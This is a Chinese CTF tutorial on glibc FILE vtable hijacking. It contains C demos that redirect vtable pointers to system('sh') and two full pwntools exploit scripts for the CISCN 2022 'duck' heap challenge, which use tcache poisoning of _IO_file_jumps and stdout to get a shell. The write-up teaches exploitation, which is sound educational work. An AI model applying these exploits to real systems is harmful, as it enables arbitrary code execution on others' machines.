伪造 vtable 劫持程序流程
引言
前面我们简绍了linux中文件流的特性和数据结构,尤其是_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。
因此伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。
因此 vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。
实操
这里演示了修改 vtable 中的指针,首先需要知道_IO_FILE_plus 位于哪里,对于 fopen 的情况下是位于堆内存,对于 stdin\stdout\stderr 是位于 libc.so 中。
1 2 3 4 5 6 7 8 9 10 11
| int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8);
vtable_ptr[7]=0x41414141
printf("call 0x41414141"); }
|
根据 vtable 在_IO_FILE_plus 的偏移得到 vtable 的地址,在 64 位系统下偏移是 0xd8。之后需要搞清楚欲劫持的 IO 函数会调用 vtable 中的哪个函数。关于 IO 函数调用 vtable 的情况已经在 FILE 结构介绍一节给出了,知道了 printf 会调用 vtable 中的 xsputn,并且 xsputn 的是 vtable 中第八项之后就可以写入这个指针进行劫持。
并且在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。
利用这点可以实现给劫持的 vtable 函数传參,比如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #define system_ptr 0x7ffff7a52390;
int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8);
memcopy(fp,"sh",3);
vtable_ptr[7]=system_ptr
fwrite("hi",2,1,fp); }
|
但是在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。不过,通过在可控的内存中伪造 vtable 的方法依然可以实现利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #define system_ptr 0x7ffff7a52390;
int main(void) { FILE *fp; long long *vtable_addr,*fake_vtable;
fp=fopen("123.txt","rw"); fake_vtable=malloc(0x40);
vtable_addr=(long long *)((long long)fp+0xd8);
vtable_addr[0]=(long long)fake_vtable;
memcpy(fp,"sh",3);
fake_vtable[7]=system_ptr;
fwrite("hi",2,1,fp); }
|
我们首先分配一款内存来存放伪造的 vtable,之后修改_IO_FILE_plus 的 vtable 指针指向这块内存。因为 vtable 中的指针我们放置的是 system 函数的地址,因此需要传递参数 “/bin/sh” 或 “sh”。
因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。
同样,如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。
1 2 3 4 5 6 7
| print &_IO_2_1_stdin_ $2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/
|
例题——[CISCN 2022 华东北]duck
CISCN 2022 华东北duck
方法一 —— 修改_IO_file_jumps中的_IO_new_file_overflow
注意:只能劫持_IO_file_jumps,不能直接劫持修改_IO_new_file_overflow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import * from ctypes import * from LibcSearcher import * import sys
ls = lambda data :log.success(data) lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))
filename = './pwn10' url = 'node4.anna.nssctf.cn:28174'
context.terminal = ['tmux', 'splitw', '-h', '-p', '80'] context.log_level = 'debug'
match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url) hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None) p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename)) if len(sys.argv) > 1 and sys.argv[1] == 'de': gdbscript = ''' b * main ''' gdb.attach(p, gdbscript=gdbscript) print("GDB attached successfully") elf = ELF(filename) libc = ELF('./libc.so.6')
menu = 'Choice: '
def add(): p.sendlineafter(menu, '1')
def show(index): p.sendlineafter(menu, '3') p.sendlineafter('Idx:', str(index))
def delete(index): p.sendlineafter(menu, '2') p.sendlineafter('Idx:', str(index))
def edit(index, size, content): p.sendlineafter(menu, '4') p.sendlineafter('Idx:', str(index)) p.sendlineafter('Size:', str(size)) p.sendafter('Content:', content) for i in range(9): add()
for i in range(8): delete(i)
show(7)
p.recvuntil('\n') main_arena = u64(p.recv(6).ljust(8 , b'\x00')) - 96 lss("main_arena")
show(0) p.recvuntil('\n') key = u64(p.recv(5).ljust(8, b'\x00')) heap_base = key << 12 lss("heap_base")
libc_base = main_arena - libc.sym['main_arena'] _IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
p1 = p64(key ^ _IO_file_jumps) edit(6, 0x10, p1)
add() add()
one = [0xda861, 0xda864, 0xda867] one_gadget = one[1] + libc_base edit(10, 0x20, p64(0) * 3 + p64(one_gadget))
p.interactive()
|
方法二 —— 伪造io结构体
劫持_IO_new_file_xsputn这个函数。当然了修改_IO_new_file_overflow这个也是可以的,就是利用puts这个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| from pwn import * from ctypes import * from LibcSearcher import * import sys
ls = lambda data :log.success(data) lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))
filename = './pwn10' url = 'node4.anna.nssctf.cn:28174'
context.terminal = ['tmux', 'splitw', '-h', '-p', '80'] context.log_level = 'debug'
match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url) hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None) p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename)) if len(sys.argv) > 1 and sys.argv[1] == 'de': gdbscript = ''' b * main ''' gdb.attach(p, gdbscript=gdbscript) print("GDB attached successfully") elf = ELF(filename) libc = ELF('./libc.so.6')
menu = 'Choice: '
def add(): p.sendlineafter(menu, '1')
def show(index): p.sendlineafter(menu, '3') p.sendlineafter('Idx:', str(index))
def delete(index): p.sendlineafter(menu, '2') p.sendlineafter('Idx:', str(index))
def edit(index, size, content): p.sendlineafter(menu, '4') p.sendlineafter('Idx:', str(index)) p.sendlineafter('Size:', str(size)) p.sendafter('Content:', content)
for i in range(9) : add()
for i in range(8) : delete(i)
show(7) p.recvuntil("\n")
main_arena = u64(p.recv(6).ljust(8 , b'\x00')) - 96 libc_base = main_arena - 0x1f2c60 show(0) p.recvuntil("\n") heap_base = u64(p.recv(5).ljust(8 , b'\x00')) << 12 lss('main_arena') lss("libc_base") lss("heap_base")
system_addr = libc_base + libc.sym['system'] stdout = libc_base + libc.sym['_IO_2_1_stdout_'] IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
key = heap_base >> 12 lss('key')
target = key ^ IO_file_jumps edit(6 , 0x8 , p64(target))
add() add()
fake = p64(0) + p64(0) fake += p64(libc_base + 0x83d80) + p64(libc_base + 0x84750) fake += p64(libc_base + 0x84440) + p64(libc_base + 0x85520) fake += p64(libc_base + 0x86600) + p64(system_addr)
delete(9) target = key ^ stdout edit(9 , 0x8 , p64(target)) add() add() edit(12 , 0x8 , b'/bin/sh\x00')
pause() p.sendlineafter(menu , '4') p.sendline(b'10') p.sendline(str(len(fake))) p.sendline(fake)
p.interactive()
|